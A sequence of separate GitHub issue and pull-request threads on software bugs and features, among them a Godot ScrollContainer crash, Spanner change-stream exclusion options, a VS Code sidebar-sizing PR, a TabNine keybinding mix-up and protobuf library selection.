Crash when Label's text exceeds height inside ScrollContainer when autowrap set to 'arbitrary'.

Godot version
4.0-rc2 mono
System information
Windows 11
Issue description
Trying to set up an in-game chat with Labels contained inside of a VBoxContainer within a ScrollContainer. Things work as expected when autowrap is set to 'Off' (Scrollcontainer has a scrollbar when label(s) exceed the height).
However, when the label(s) have autowrap set to 'arbitrary' Godot immediately crashes when the text exceeds the height of the ScrollContainer. This is the minimal example I used to reproduce this problem:

If another line is added to the text Godot crashes and the following errors are displayed in the console:
ERROR: Failed method: Label::_shape. Message queue out of memory. Try increasing 'memory/limits/message_queue/max_size_kb' in project settings.
   at: push_callablep (core/object/message_queue.cpp:120)
ERROR: Failed method: CanvasItem::_redraw_callback. Message queue out of memory. Try increasing 'memory/limits/message_queue/max_size_kb' in project settings.
   at: push_callablep (core/object/message_queue.cpp:120)
ERROR: Failed method: CanvasItem::_redraw_callback. Message queue out of memory. Try increasing 'memory/limits/message_queue/max_size_kb' in project settings.
   at: push_callablep (core/object/message_queue.cpp:120)
ERROR: Failed method: CanvasItem::_redraw_callback. Message queue out of memory. Try increasing 'memory/limits/message_queue/max_size_kb' in project settings.
   at: push_callablep (core/object/message_queue.cpp:120)

Steps to reproduce

Create a ScrollContainer that contains a VBoxContainer and a Label.
Set the Label's autowrap to 'arbitrary'.
Append lines to the Label's text until the text exceeds the ScrollContainer's height.
When a character is typed into the last line Godot will crash.

Minimal reproduction project
ScrollContainerCrash.zip
In the project go to the Label node and add another line to the Text field and type any character. If autowrap is set to 'off' then everything works fine.

I can reproduce the issue in 4.0 RC 2, and it seems fixed in master (likely by #73426).


feat: add support for transaction-level exclusion from change streams

Add support for excluding transactions from being recorded in the change streams by passing Options.excludeTxnFromChangeStreams() in the various write APIs:

writeWithOptions
writeAtleastOnceWithOptions
batchWriteAtLeastOnce
executePartitionedUpdate
readWriteTransaction
transactionManager
transactionManagerAsync
runAsync

Note: Samples and integration tests will be added in separate PRs.

@ShuranZhang @arpan14 Please review, thanks!

Overall looks good, I'll take a another deeper look in details tomorrow.
One major comment: What will happen if users try to pass Options.excludeTxnFromChangeStreams() to request-level DML APIs which also take UpdateOptions as a parameter(ie:executeUpdate)? Seems like it will simply be a no-op since the new UpdateTransactionOption you added also extends UpdateOptions. I think it's better to prevent users from even trying to set Options.excludeTxnFromChangeStreams() for these request level DML APIs from the client library side, to avoid any potential confusions(ie: they were able to pass the option per-request and run the code, but records are still not excluded).
For example, for above scenarios we might want to throw an error like “Option.excludeTxnFromChangeStreams() is not supported at request level”:
databaseClient
      .readWriteTransaction()
      .run(transaction -> {
        transaction.executeUpdate(
            Statement.of("UPDATE T1 SET Name='fool' WHERE id = 123"),Options.excludeTxnFromChangeStreams());
        return null;
      });

This should also apply for executeUpdateAsync, batchUpdate and batchUpdateAsync.
Thanks!

Great point! Yes, we only want to allow Options.excludeTxnFromChangeStreams() in the executePartitionedUpdate method, but not the other request-level Update methods.
I'm thinking of the following approach:

Introduce a new interface PartitionedUpdateOption that is only applicable to the executePartitionedUpdate method.
Modify the executePartitionedUpdate method to take PartitionedUpdateOption instead of UpdateOption.
Let UpdateOption extend PartitionedUpdateOption, so that existing code that passes UpdateOption to executePartitionedUpdate would still work.
Let excludeTxnFromChangeStreams() return a sub-type of both PartitionedUpdateOption and TransactionOption. Thus, Options.excludeTxnFromChangeStreams() can be passed to either executePartitionedUpdate or the other write APIs that accept TransactionOption. But it cannot be passed to the other Update methods that expect UpdateOption.

public interface PartitionedUpdateOption {}

public interface UpdateOption extends PartitionedUpdateOption {}

public interface PartitionedUpdateAndTransactionOption extends PartitionedUpdateOption, TransactionOption {}

public static PartitionedUpdateAndTransactionOption excludeTxnFromChangeStreams()

What do you think?

Overall looks good, I'll take a another deeper look in details tomorrow.
One major comment: What will happen if users try to pass Options.excludeTxnFromChangeStreams() to request-level DML APIs which also take UpdateOptions as a parameter(ie:executeUpdate)? Seems like it will simply be a no-op since the new UpdateTransactionOption you added also extends UpdateOptions. I think it's better to prevent users from even trying to set Options.excludeTxnFromChangeStreams() for these request level DML APIs from the client library side, to avoid any potential confusions(ie: they were able to pass the option per-request and run the code, but records are still not excluded).
For example, for above scenarios we might want to throw an error like “Option.excludeTxnFromChangeStreams() is not supported at request level”:
databaseClient
      .readWriteTransaction()
      .run(transaction -> {
        transaction.executeUpdate(
            Statement.of("UPDATE T1 SET Name='fool' WHERE id = 123"),Options.excludeTxnFromChangeStreams());
        return null;
      });

This should also apply for executeUpdateAsync, batchUpdate and batchUpdateAsync.
Thanks!

Great point! Yes, we only want to allow Options.excludeTxnFromChangeStreams() in the executePartitionedUpdate method, but not the other request-level Update methods.
I'm thinking of the following approach:

Introduce a new interface PartitionedUpdateOption that is only applicable to the executePartitionedUpdate method.
Modify the executePartitionedUpdate method to take PartitionedUpdateOption instead of UpdateOption.
Let UpdateOption extend PartitionedUpdateOption, so that existing code that passes UpdateOption to executePartitionedUpdate would still work.
Let excludeTxnFromChangeStreams() return a sub-type of both PartitionedUpdateOption and TransactionOption. Thus, Options.excludeTxnFromChangeStreams() can be passed to either executePartitionedUpdate or the other write APIs that accept TransactionOption. But it cannot be passed to the other Update methods that expect UpdateOption.

public interface PartitionedUpdateOption {}

public interface UpdateOption extends PartitionedUpdateOption {}

public interface PartitionedUpdateAndTransactionOption extends PartitionedUpdateOption, TransactionOption {}

public static PartitionedUpdateAndTransactionOption excludeTxnFromChangeStreams()

What do you think?

Sounds good! Thanks for the explanation. Yeah it would be better in your approach, if the code itself does not compile rather than throwing an error afterwords. @arpan14 Could you please also take a look and confirm this is an acceptable approach? Thanks!

Thanks @olavloite for pointing out that this will break binary compatibility. I have reverted this change and added error handling in those Update methods.


[Bug] Login page not responsive.

Describe the bug
Login page is not responsive in mobile
Screenshots

@Yashgabani845  assign this to me

@Yashgabani845 Heyyy can you please assign this issue to me, so that I can start working on it!

@ShivaniNikam1 start working on it

Hii i wanna work on it. Can you please assign this issue to me ? i can start right now!


Modify install/0 so it correctly works with Windows systems.

Relates to issue #6

:green_heart: :blue_heart: :purple_heart: :yellow_heart: :heart:


Update Term Design and add Confidence Level

The current design [v0.0.20] related to terms has a couple of issues

Term durations are not strictly enforced, we can go back in time (upto a threshold level) to satisfy requirements related to a term duration. This means that the user is not clear what duration was considered to arrive at a recommendation
If enough data is not available that satisfies the entire term duration, then no recommendation is generated. eg, for short term, we need a full 96 data points with a measurement duration of 15 mins. This means that for any workload that is short lived, say 3 hours, we cannot generate any recommendations

To prevent this, we need to update the term design as follows

Fix term durations as follows (Assuming a measurement duration of 15 mins: short term = 24 hours (Max: 96 data points), medium term = 7 days (Max: 672  data points), long term = 15 days (Max: 1440 data points).
Remove buffer thresholds. This means that we do not go further back in time, beyond the prescribed term durations above, to get data for a given duration
Add a minimum data threshold. This represents the minimum amount of data needed for generating a recommendation associated with a given duration term. We can start with the following defaults. Minimum data points for: Short term: 30 mins (Min: 2 data points), Medium term: 2 days (Min: 192 data points), Long Term: 8 days (Min: 768 data points)
The design should allow for the minimum thresholds to be configurable for each individual experiment.
Add a confidence level associated with a recommendation. The confidence level is a value between 0 and 1 where 1 represents the highest confidence in the recommendation. The initial implementation will be based entirely on the number of data points used to generate the recommendation. It can be confidence_level = actual_data_points / term_max_data_points

If a user has to configure thresholds for more than a term, how can this be done with a single threshold field?
Should we express threshold in terms of data points required and internally calculate it as measurement_duration * threshold as measurement_duration is also configurable? This can be taken up later if required.

Test scenarios for validating this:

Validate recommendations & confidence level, when the specified no. of data points are available within the term duration

With 2 data points within 24 hrs for short term

With 96 data points within 24 hrs for short term

With 1 data point within 24 hrs for short term

With 2 data points beyond 24 hrs for short term

With no data points within 24 hrs for short term
Test above for medium & long term

If min data threshold is configurable then validate the min data threshold configured for each of the terms is reflected, test any ranges and ensure the expected error messages are displayed

Validate user documentation for min data threshold and json sample output

Moving this issue to 0.0.21 since Term Design changes are going as part of 1081 PR and <IP_ADDRESS> release. This issue will be closed as part of Confidence level implementation


Roar Network

Website
https://roarsubnet.com/
ChainId
4500
RPC
https://dev.roarsubnet.com:9651/ext/bc/6zJ8Khae6LVVevwbhRLPAnvpF2BhMFdf2rzM6t5WRxK7K6Y4C/rpc

@Uxio0

@Uxio0

Hi, we cannot find your network on https://github.com/ethereum-lists , first get it merged there

Closing due to inactivity


New add member flow for Manage Members page

See v4 Figma.
Changes: The new member button should be in the table header "Full Name". When clicked, it should create a new row where the user can fill in the new member's details. This row should have an add button that, when clicked, brings up a dialog modal to confirm the creation of the new user. When the user clicks "Confirm", an invitation email is sent.

Bumping this to "post-v4" since the design still has some unanswered questions (decided in discussions in Slack/Figma).


move command throws issue: "Cannot read property 'cancel' of undefined"

Issue disappeared after pulling latest changes from artris/master


[WIP] Sash double clicks

Start implementing #4660.
The provided code defines a new event that is fired when a “stash” is double-clicked, and two usages of it—the first one on the spitted editor frontiers, and the second one on the bottom panel border. It is easier to review this PR commit per commit.
The capture below demonstrates the feature on the spitted editor:

I may want in implement the “sidebar optimal sizing” that originally motivated #4660, but I would like to have some guidance on the code structure:

Is IViewletView the right place to implement an optional getOptimalWidth method?
What is the best way to perform the HTML elements width measurement?
How do I get the current viewlet in vs/workbench/layout.ts? [edit: I guess the answer is to use the viewlet service]
Where and how should I write some tests?

Thank you in advance for considering this contribution :-)

Hi @mquandalle, I'm your friendly neighborhood Microsoft Pull Request Bot (You can call me MSBOT). Thanks for your contribution!

In order for us to evaluate and accept your PR, we ask that you sign a contribution license agreement. It's all electronic and will take just minutes. I promise there's no faxing. https://cla.microsoft.com.

TTYL, MSBOT;

@mquandalle, Thanks for signing the contribution license agreement so quickly! Actual humans will now validate the agreement and then evaluate the PR.
Thanks, MSBOT;

@mquandalle I would just suggest to make the side bar size to its minimal width. Since we never show horizontal scrollbars, every size is good enough to show the contents within. Minimal width is defined in https://github.com/Microsoft/vscode/blob/master/src/vs/workbench/browser/layout.ts#L20

That would be pretty easy but if you look at Sublime and Atom they both have a smarter implementation that measures the width of the explorer items and uses the larger one as the sidebar width. Do the test! For example if you have an opened sidebar at its “optimal width” and you open some folder that contains longer file names, double clicking on the sidebar border will re-calculate a larger width. As described in #4660 I’d like to have the same behavior on VSCode.
So the idea was to use a static width (like indeed DEFAULT_MIN_PART_WIDTH) on the search and debugger viewlets, and let the file-explorer and the git-commiter viewlets implement a method that returns their optimal width.

@mquandalle I see, there is currently no API to compute the optimal width of the explorer tree to prevent truncating of words, but maybe @joaomoreno could chime in on that topic.

Renamed stash to sash in the title.
@bpasero @mquandalle It can be done, but it is non-trivial.

I got a first version of sidebar children measurement working in 9da61e8.

@mquandalle cool, I think it would make somewhat more sense that every viewlet can implement a function to provide its optimal width. That way, the double click works with all viewlets. If a viewlet decides to not provide optimal width, it should just fallback to the minimal view width as indicated before.
I think you also need to take into account some other aspects: The working files view to the top also has labels that might get truncated. However, I would not expect that the full path of a working file gets revealed, only its label :+1:

I think it would make somewhat more sense that every viewlet can implement a function to provide its optimal width. That way, the double click works with all viewlets. If a viewlet decides to not provide optimal width, it should just fallback to the minimal view width as indicated before.

Yes, that’s how I implemented it.

I think you also need to take into account some other aspects: The working files view to the top also has labels that might get truncated. However, I would not expect that the full path of a working file gets revealed, only its label

Sure, currently I only take into account the explorer tree width but adding the working view as you say makes total sense.

I added some comments to the code

This PR is feature complete.

f89c156

Thanks, will review next week!

@mquandalle nice stuff, some feedback:

suggest to move getOptimalWidth() into the Viewlet base class since it seems to be used only for viewlets
for me the implementation of  getOptimalWidth() in working files and explorer view is not working (see my video below on mac)
ideally the implementation of  getOptimalWidth() should be shared and reused, would it be possible to make the implementation generic enough that it works with any tree? it could then be moved into ViewletView for others to pick up
once we have a reusable getOptimalWidth() I actually think we should use it in search, git and debug too, why would we not?
the fact that the sash no longer draws a full div for the cursor style seems to cause issues: if you drag the sidebar into the left until it hides and then back you see that the mouse no longer shows the resize cursor (the same is true when you size the panel in and out)

That is it for now :+1:

Oops I thought I answered a few hours ago but apparently my message wasn’t sent. On your point 1,

suggest to move getOptimalWidth() into the Viewlet base class since it seems to be used only for viewlets

I initially tried to do that but encountered the following bug: https://github.com/Microsoft/vscode/pull/4702#discussion_r57881357 (GitHub may fold the comment). Actually I don’t understand the distinction between Composite and Viewlet components.

The bug in point 2,

for me the implementation of getOptimalWidth() in working files and explorer view is not working (see my video below on mac)

was introduced by a late git history cleaning, it’s now fixed.

Also note that the current DOM measurement strategy has two important drawbacks:

getOptimalWidth() doesn’t work if the sidebar is closed, ie you can’t double click on the closed sash to open the sidebar to its optimal width, which is expected;
if the explorer list is too long, VS renderer will break the list into multiple “tiles” which won’t be displayed concurrently, thus getOptimalWidth() will only consider visible elements and not the entire list.

For comparison both Atom and Sublime handle (2) correctly and doesn’t have problem (1) has they don’t allow sidebar opening using the mouse.

the fact that the sash no longer draws a full div for the cursor style seems to cause issues: if you drag the sidebar into the left until it hides and then back you see that the mouse no longer shows the resize cursor (the same is true when you size the panel in and out)

I wasn't able to reproduce this problem on my instance (Ubuntu).

@mquandalle thanks, can you resolve the merge conflicts in this PR? I will have a look soon and provide feedback.

@mquandalle actually much easier to review your change without merging master back in. just let it be :)

@mquandalle getting there, works very nice now. Some more feedback:

[ ] You can manage to move getOptimalWidth() into IViewlet by casting to IViewlet in the sidebarPart.ts#getActiveViewlet() method: return <IViewlet>this.getActiveComposite();
This should fix all the compile errors and you can do the move out of IComposite into IViewlet and related implementations. The default implementation (returning null) can then go into the abstract Viewlet class.

[ ] Be careful in explorerViewlet#getOptimalWidth(). you expect the explorer view to be there, but if you don't have a folder open, explorer view is of kind EmptyView and does not have any optimal width.

[ ] the implementation of getOptimalWidth() seems very duplicate between explorerView and workingFilesView. I suggest to create a new method in DOM where you pass in the class name of the container you want to measure.

Thank you for the feedback, I should be able to amend the PR soon. Do you have any comment on https://github.com/Microsoft/vscode/pull/4702#issuecomment-205530593?

@mquandalle sure:

I wonder if double click on the hidden sidebar should actually be a no-op? otherwise I am also fine to leave it as is, though I wonder if this is a use case in common scenarios.

that is true and due to the fact that the tree is fully virtual and the DOM only contains what you see. I think that this is OK as is.

I rebased my branch to master to solves the (trivial) merge conflict. I also added a commit to address your points in https://github.com/Microsoft/vscode/pull/4702#issuecomment-207813241.
Points 1 and 3 are fixed, but I have a doubt about 2. You say that I’m not handling the case when explorerViewlet#getExplorerView() returns EmptyView but the return type of this function is ExplorerView and not ExplorerView | EmptyView. Should I change that?

@mquandalle changes look good! you are right, getExplorerView() will return only the explorer view, but it can return null in case you did not open a folder (just try to File > Close Folder and doubleclick on the explorer sash).

Ok, it's fixed.

Thanks so much, merged to master!

Thanks @mquandalle, I've been wanting this for a while! :fireworks:


Conserved billinear covariants

Equation (32) must be incorrect. It cannot be true that the only conserved bilinear covariant is $\rho p$. The (spacelike) current $J = \nabla F = \nabla \cdot F$ is curl free, where $F = \psi p_0 \gamma_1 \widetilde \psi$, so $\nabla \cdot J = 0$ by construction.

It's not. Equation (32) assumed a constant vector.


Autocompleting without hitting Tab

Ubuntu 18.04 LTS
SublimeText 3 Build 3120
JavaScript
TabNine extension version: 2.8.6
--
As I understood it TabNine should auto-complete when I press tab. However I'm frequently finding that as I type 3 characters, it then auto completes when I don't want it to and even when the match is quite poor. It should only be auto completing if I hit tab.

Is there a way to stop this behaviour? I want TabNine as an extra feature to use, not something that gets in the way of typing.

@IPWright83 This sounds like a bug to me. Tabnine should only ever complete when you hit tab.

@amircodota thanks, if there's any more info I can provide let me know.

Are there any notes on how you can run TabNine with some more debugging? I keep turning it on wanting to use it more, but everytime I hit this bug (which is quite frequently) I unfortunately have to abandon it as it's almost impossible to workaround properly.

@IPWright83 you can try debugging the plugin yourself, if you have the time.
We would certainly appreciate it :-)
I can provide setup instructions, if you want to go down that path

Yeah, that'd be good if you don't mind. I'm not a Python dev but I'm sure if I can add a breakpoint somehow and do some debugging I've got a fighting chance of working out what's happenning.

I added a page to the wiki.
This is an initial version of the page, so any feedback on it is also welcome.
Good luck

@amircodota ok so here's an example that's auto completing without me hitting Tab.

If I press g then that'll auto complete to the first suggested result (which might be ok in this instance - but obviously sometimes the behaviour gets in the way).
I added logging of the command_name and the insertion event and I can see the following happens:

tab_nine_leader_key
Inserting completion
tab_nine_substitute

So whatever the tab_nine_leader_key is, I'm guessing is triggering this to occur.

Hmm, I can see this defined in the default key mapping - however it's definitely not tab that I'm pressing.
{ "keys": ["tab"], "command": "tab_nine_leader_key", "context": [ { "key": "tab_nine_leader_key_available", "operator": "equal", "operand": true }] },

@IPWright83 Any chance you have another plugin or something that changes the key bindings, like vim key bindings or something like that?

@amircodota not that I'm aware of - I've just tried disabling a bunch a few of the bigger ones and it seems to still behave that way.
I've got a bunch of keybindings myself, but nothing that I think should inteferre:
[
    { "keys": ["ctrl+d"], "command": "run_macro_file", "args": {"file": "res://Packages/Default/Delete Line.sublime-macro"} },
    { "keys": ["ctrl+shift+r"], "command": "reindent" , "args": { "single_line": false } },
    { "keys": ["ctrl+alt+p"], "command": "prompt_select_workspace" },
    { "keys": ["ctrl+alt+left"], "command": "jump_back" },
    { "keys": ["ctrl+alt+right"], "command": "jump_forward" },
    { "keys": ["ctrl+alt+d"], "command": "git_gutter_diff_popup" },
    { "keys": ["ctrl+alt+s"], "command": "gs_show_status" },
    { "keys": ["alt+up"], "command": "git_gutter_next_change" },
    { "keys": ["alt+down"], "command": "git_gutter_prev_change" },
    {
        "keys": ["g"],
        "command": "gs_custom",
        "args": {
            "args": ["pull"],
            "output_to_panel": true,
            "start_msg": "Starting pull",
            "complete_msg": "Pull complete.",
        },
        "context": [
            { "key": "setting.command_mode", "operator": "equal", "operand": false },
            { "key": "setting.git_savvy.status_view", "operator": "equal", "operand": true },
        ]
    },
    { "keys": ["ctrl+alt+f"], "command": "find_results_buffer_utils", "args": {"action": "focus_buffer"}, "context": [{"key": "is_find_results_buffer_open"}] },
    { "keys": ["ctrl+shift+p"], "command": "show_overlay", "args": {"overlay": "command_palette"} },
    { "keys": ["ctrl+shift+."], "command": "show_overlay", "args": {"overlay": "command_palette"} },
]

@IPWright83 Can you send a list of all sublime packages you have installed?

@amircodota sure, didn't realise these were easy to get at:
"A File Icon",
"Babel",
"BetterFindBuffer",
"CFML",
"CloudFormation Validation",
"DiffTabs",
"DocBlockr",
"Dockerfile Syntax Highlighting",
"FindResultsBufferUtils",
"Floobits",
"Git Conflict Resolver",
"GitGutter",
"GitSavvy",
"JsPrettier",
"LESS",
"Less2Css",
"Package Control",
"PackageResourceViewer",
"SublimeLinter",
"SublimeLinter-contrib-xo",
"SublimeLinter-contrib-yamllint",
"SublimeLinter-eslint",
"SublimeLinter-json",
"SyncedSideBar",
"TabNine",
"Text Pastry",
"Theme - Soda",
"TodoReview",
"TypeScript",
"TypeScript Syntax",
"WordHighlight"

@amircodota well, that was interesting...
I've been looking at the other GitHub issue about remapping the shortcut key so it doesn't interfere with snippets which is a real pain. So opened my settings and saw this:
{ "keys": ["g"], "command": "tab_nine_leader_key", "context": [ { "key": "tab_nine_leader_key_available", "operator": "equal", "operand": true }] }

I have no idea how that got there (I don't remember ever setting it + have re-installed the package), but I believe that explains all the weirdness going on!

Glad you were able to figure it out :+1:

Thanks @amircodota - sorry to have wasted some of your time, but I appreciate the help in debugging as I would never have thought to look in there (on the basis I thought I'd never changed it!).


NaCl build fix

I guess there is probably some issue like if CMAKE_CXX_FLAGS_RELEASE is already defined at the beginning then you can read and set it in a case-insensitive manner, but if it does not exist yet then the variable gets created with the wrong case like CMAKE_CXX_FLAGS_Release and then CMake does not consider it when building.
I have no idea why different arguments to cmake would change whether this occurs.

It built! 👍


Feature request: provide pre-compiled binaries (official builds) in npm packages

Currently npm install ffi requires building node-ffi from the source with node-gyp (on Windows the prerequisites are Python and MSVC, the latter is huge).
To get rid of this requirement (and thus to attract more end users and less building-related issues reported), please accomplish the following:

Require (and use) node-bindings.

Compile binary part of node-ffi for the supported platforms (win32/ia32, darwin/x64, linux/ia32, linux/x64... sunos/ia32?), put the resulting binaries inside your npm package and let node-bindings pick one on user's side.

Put binding.gyp in .npmignore, otherwise npm will still attempt to build from the source. (Do not forget to add some contents of .gitignore to .npmignore when you create the latter, but only some: npm should not ignore the binaries.)

(optional) Put binaries in .gitignore to prevent them from being hosted on GitHub. (This step is necessary only if you hate mixing sources with binaries. This step may also be completed already if you build in build/, which is currently in .gitignore.)

After that npm install ffi would involve only downloading and unpacking, and thus would just work.

Hi!
Is there any system to automatically make these builds now?
This would be very useful, mainly for Windows.

Hi guys!
How can I contribute to this?
I am thinking about providing the binaries at least for Windows. It is really difficult to make this to work. I've got it in one machine and cannot compile on a second. So I guess that providing the pre-compiled would be better for all of us.
My doubt is: where to host the binary file to be downloaded?
I have one binary compiled for 32 bits and it is being used in a 64 bits machine too (with node and npm for 32 bits). Is it sufficient or we need one binary for x64?

It's been four years after the first thought of this issue. The Node.js ecosystem has grown a bit. There is node-pre-gyp to help building addon binaries. It also might help with publishing binaries, but only on Amazon S3 hosting.
It's probably possible to alter node-pre-gyp in order to support an alternative, less centralized solution (for example, to run an IPFS daemon and to use its JavaScript API to publish binaries on it). But I've never tried it.

Hi Mithgol
My first thought was that I could generate a single or just 2 binary files for Windows manually, one for x86 and another for x64, and then publish then.
But now I noticed that we must have these for each node-abi.
So the automation would be welcome.
I am reading the node-pre-gyp docs to see how to implement this. Thank you for the link.
It supports publishing to Amazon S3 as well as to GitHub. And there is also the node-pre-gyp-github.
For Windows we can use appveyor and for Linux and OSX there is travis.ci. I will focus on Windows because it is the hardest to compile.
They have all the required build tools for Windows as well as many node.js versions.

Well, I will test with a forked project.
I just don't know if when accepting a pull request the Release will be migrated to the master branch.

There is already an appveyor.yml file in this repo. It is just not being used.
And there are recent binary files in this repo: https://github.com/Icenium/node-ffi
So it may not be that hard.


Problems/others most repeating int

Codecov Report

Merging #28 into master will increase coverage by 0.72%.
The diff coverage is 100%.

@@           Coverage Diff            @@
##           master    #28      +/-   ##
========================================
+ Coverage   99.27%   100%   +0.72%
========================================
  Files          19     15       -4
  Lines         415    336      -79
========================================
- Hits          412    336      -76
+ Misses          3      0       -3

Flag
Coverage Δ

#go
100% <100%> (ø)
:arrow_up:

#javascript
100% <ø> (+3.19%)
:arrow_up:

Impacted Files
Coverage Δ

problems/other/mxsteps/mxsteps.go
100% <100%> (ø)
:arrow_up:

...arrays-and-strings/1.6-rotateMatrixInPlace_test.js

...s/arrays-and-strings/1.2-check_permutation_test.js

...ures/arrays-and-strings/1.6-rotateMatrixInPlace.js

...ctures/arrays-and-strings/1.2-check_permutation.js

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update a910344...d988985. Read the comment docs.


[bug]: deleting images seems to not remove them from the board

Is there an existing issue for this?

[X] I have searched the existing issues

OS
Linux
What version did you experience this issue on?
b152fbf72f163e4a60bda7a54747d0a752d63ca1
What happened?
I select several images in the board (with Click and then Shift-Click), right-click, select Delete, Confirm and … they do not seem to be removed from the board.
It's only after I reload the page that they no longer appear.
Screenshots
deleting-doesnt.webm
Additional context
Firefox 118.0 on Linux

In #4790, I've fixed a couple bugs related to cache invalidation (who would have guessed that would be the source of the issue?) during image deletion, which I am hopeful will resolve this. This will be in this week's release in case you are running the proper release version.


Discovery service implementation

We need to create a service to get to know which network structure is available to the client to get information from. This would eventually be an endpoint where we connect to get a tree of all the possibles microservices and nodes to show, and then select a specific one to start consuming metrics.

In this branch https://github.com/frees-io/freestyle-opscenter/tree/ep-12-endpoint-microservices you have the endpoint needed.
Hitting this endpoint http://localhost:8080/microservices you will get the microservices and nodes availables.
The data is serialized, so you will need fecth the proto files in this endpoint http://localhost:8080/proto/models.

To fetch the proto describing metrics structure:
http://localhost:8080/proto/models/metrics
To fetch the proto associated with available nodes:
http://localhost:8080/proto/models/microservices

In this issue, in the JS code and TS definitions generation step, we can go along with two routes, given that there are two JS runtime Protocol Buffers implementations.

On release 3.0.0, starting 2016, Google added node/JS support to its official google-protobuf library. TypeScript support is something that was discussed at some degree in the repo issues, and even the team use TS code generation internally, but it's not yet open to the public. For this purpose then, ts-protoc-gen is our very best alternative.

Protobuf.js is a previous third-party attempt, its origin can be traced up to even March 2013, and included TypeScript support with its full rewritten 6.0.0 release back in November 2016.

Protobufjs
google-protobuf + ts-protoc-gen

Much much better performance, although running the benchmark locally did throw a bit less of a difference on the results, they were still massive.
Performance is somehow constrained by google-protobuf runtime JS implementation, which in the end for encoding/decoding is more or less aligned with that of JSON. An approach with some improvements can be consulted here.

Preserves precision, through the use of a dedicated library, long.js, which addresses this issue by representing a Long as two internal parts of 32 bits each.  Only problem being that its use along TypeScript definitions might be a bit convoluted.
Precision could be lost when using [s/u]int64 value types on a proto descriptor, due to the discrepancy between the number type on JavaScript, which is based on the IEEE 754 binary64 format (Double-precision floating-point), hence only values between -(253-1) and 253-1 will be safe. Out of that range (namely values until -(263-1) and 263-1, valid for a int64/long datatype) will be rounded to a near value. Some workaround can be found here, and a discussion and a PR for google-protobuf trying to address this issue is here. Also a solution has been provided in the release 3.4, but this one implies changes to our proto files adding a [jstype = JS_STRING] option to our int64 definitions.

Support for services do exist, though the library make no assumptions on the actual transport channel used, so the user must provide an RPC implementation.
Services have first-class citizen support. The use of gRPC could be easily achieved, thanks to the grpc-web spec and grpc-web-client library, which provides different transport channels depending on the execution context.

For time when not full functionality is needed (statically generated code, JSON reflection) final bundle size can be reduced thanks to some stripped down versions offered.
Final bundle size can take a hit, due to this library most apparently being designed to be used on server side through node.js (browser use was somehow in the team aspirations nevertheless).

Browser compatibility is pretty good, even with the possibility to reach non-ES5 environments using a polyfill.
Again, as it doesn't look like the primary goal of this library is to be used client-side, wide browser compatibility (while maybe not problematic) can't be something taken for granted.

Due to our current target of integrating freestyle-opscenter through RPC, the google-protobuf implementation will be used.
Should any of the advantages offered by the Protobuf.js library become needed to our project, a branch with the needed changes to be able to use Protobuf.js is gonna be set.

A more detailed comparison between Protobuf.js and JSON performance can be found here and here, and more tidbits here.


Nonsensical Output When Running Tests

When I run my tests with the gas reporter (npx hardhat test), my tests output random characters such as ͇͇͎tͬ͑ͩ and the tests never end.
I am running hardhat on a Windows machine. Has this problem ever been encountered before?
Node version: v12.18.4
Hardhat Gas reporter: v1.0.6

@DanielGelfand
I think it might be the same issue as hardhat 2235 which has been traced to a bug in one of colors.js's dependencies (introduced today ~5 hours ago)
A workaround suggested in the Hardhat issue is to use yarn's resolutions feature to pin colors to v1.4.0 in your project's package.json like this:
"resolutions": {
    "**/colors": "1.4.0"
  }

... and install using yarn.
Does that resolve it on your end?

Looked into this a bit ... will patch at eth-gas-reporter since there seems to be some kind controversy swirling around the package atm.

https://github.com/Marak/colors.js/commit/074a0f8ed0c31c35d13d28632bd8a049ff136fb6#r63165690
http://web.archive.org/web/20210704022108/https://github.com/Marak/faker.js/issues/1046


main0.1 update to 0.1.30

Platforms Impacted

[x] iOS
[x] macOS

Description of changes
minor ccb update on iOS: https://github.com/microsoft/fluentui-apple/commit/abb218f5507e0296ce68c7cae8cc5977f93d706b
Verification
build
Pull request checklist
This PR has considered:

[ ] Light and Dark appearances
[ ] VoiceOver and Keyboard Accessibility
[ ] Internationalization and Right to Left layouts
[ ] Different resolutions (1x, 2x, 3x)
[ ] Size classes and window sizes (iPhone vs iPad, notched devices, multitasking, different window sizes, etc)

Microsoft Reviewers: Open in CodeFlow

sorry I guess my main_0.1 is bit out of date


Frontier - add xprt/usdc pool external incentives.

Created gauge: incentives kick in from 24th May 2022.
https://www.mintscan.io/osmosis/txs/AAF999B38F8AD79CF44D8EFA8038C3C56452AADA32F40EA92B941E8C34351EF4
same as #525 but targetted towards frontier

will be included in #530


Update contact us

Issue:

Keep contact us at the top of the form and improve the spacings and validate form using js. Please assign under JWOC

hey @codervivek5 can you assign this issue to me?

Currently Working on this issue


Syncvar and SyncVarHook with conditions.

Could you guys add a condition to SyncVar hooks?
I got the same code Unit.cs for my players/heros characters and my bots/creeps.
i would like to trigger a hook for my killCounter var but only on my heros character.
Right now the hook is also triggered on creeps and bots, which i don't need.
so hook would be something like :
[SyncVar(hook = nameof(SetColor, **doTriggerHook**))]
maybe it could save some processing/bandwidth in some cases.
same for the SyncVar itself
[SyncVar **doTriggerSync**]
doTriggerVar and doTriggerSync would be bools that are changed serverside to permit the sync.

This is rather game specific, and if you don't change the SyncVar on the bots/creeps then nothing happens nor anything is sent on the wire to trigger the hook.

i would like to trigger a hook for my killCounter var but only on my heros character.

sounds like this value should be in its own NetworkBehaviour, that you only add to the hero GameObject.


add feature: download private playlist

just suggest to add feature to download private playlist

It's not a planned feature, download private playlist requires that you login to your account, which I don't plan to support. You can set the playlist to "unlisted" and then you could download it, and after you finish downloading you can revert it back to "private"


Interleaving Strings

Description
Given 3 strings, find out if the 3rd string is formed by interleaving first and second strings.
I'd like to explain in detail what interleaving strings are? How this problem can be dealt in brute force as well as efficient way.
Please allow me to work on this issue.
Domain
DSA
Type of Contribution
Documentation
Code of Conduct

[X] I follow Contributing Guidelines & Code of conduct of this project.

I am eswari priya of dsa batch-2. pls review this issue and kindly assign it to me @Muskan-creator

/assign

@negiaditi you are not supposed to use the tags. Pls allow the mentors or supervisors to review the issue and assign it

@Eswari-Priya This issue has been assigned to you on first come first basis


Schema.builder API for Ruby

I added spi.Schema.Builder to Java plugin API.
I want similar API for Ruby so that we can avoid this kind of code: https://github.com/treasure-data/embulk-parser-query_string/blob/7aec718f5f056301d23ac054c1c3cf3e8b7d7469/lib/embulk/parser/query_string.rb#L15-L22

We have no plans for expanding Ruby-based Embulk plugins. Closing this issue.


xDhcpServerAuthorization: Test-ConflictingResources : A conflict was detected between resources

ISSUE DESCRIPTION (this template):

